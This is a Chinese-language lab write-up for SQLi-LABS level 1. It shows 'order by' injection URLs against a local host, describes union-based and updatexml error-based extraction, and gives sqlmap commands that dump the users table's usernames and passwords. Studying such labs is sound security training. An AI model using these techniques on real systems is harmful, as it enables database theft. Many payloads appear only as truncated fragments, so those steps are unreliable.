SQLi-LABS 第一關 SQL注入 總結
SQLi-LABS 第一關 SQL注入 總結
關卡簡介
關卡提示:GET-Error based- Single quotes-String
注入位置:GET
注入型別:子符串型(單引號閉合漏洞)
注入方法
前期測試
url 輸入
url 輸入
頁面無變化,排除數字型注入
url 輸入
有報錯回顯,可能是字串型
url 輸入
兩次頁面不一樣,確定是 字串型
union聯合查詢注入
由於有顯示資料庫內容的欄位區域,還有有報錯回顯示, 因此可用此方法
-
爆列
http://127.0.0.1/Less-1/?id=1%27%20order%20by%201--+ http://127.0.0.1/Less-1/?id=1%27%20order%20by%202--+ http://127.0.0.1/Less-1/?id=1%27%20order%20by%203--+
試過均正常顯示id=1時的頁面,當 報錯,說明 當前資料表有3列
爆出位置
-
構造注入 payload )--+
爆出資料庫版本
構造注入 payload )--+
爆出資料庫資訊 (第一條)
構造注入 payload )--+
爆出資料庫資訊 (所有)
構造注入 payload )--+
爆出當前庫的所有表
構造注入 payload )--+
爆出使用者表users的所有列名
構造注入 payload )--+
爆出使用者表users的所有資訊
報錯注入
由於有報錯回顯示, 因此可用此方法
這裡使用 updatexml 函式報錯方式
-
爆出資料庫版本 構造注入 payload ),0x7e),1)--+
-
爆出當前資料庫名 構造注入 payload ),0x7e),1)--+
-
爆出當前資料庫的所有表 構造注入 payload ),0x7e),1)--+
-
爆出當users表的所有列 構造注入 payload ),0x7e),1)--+
-
爆出當users表的所有資訊 構造注入 payload ),0x7e),1)--+
updatexml 函式報錯最多顯示32字元,可以用 limit 取資料 ,這裡不再演示
利用sqlmap注入
傻瓜式注入
-
爆出所有庫 終端執行 sqlmap -u --dbs
-
爆出當前資料庫所有表 終端執行 sqlmap -u -D security --tables
-
爆出users表中所有列 終端執行 sqlmap -u -D security -T users --columns
-
爆出users表所有資訊 終端執行 sqlmap -u -D security -T users -C username,password --dump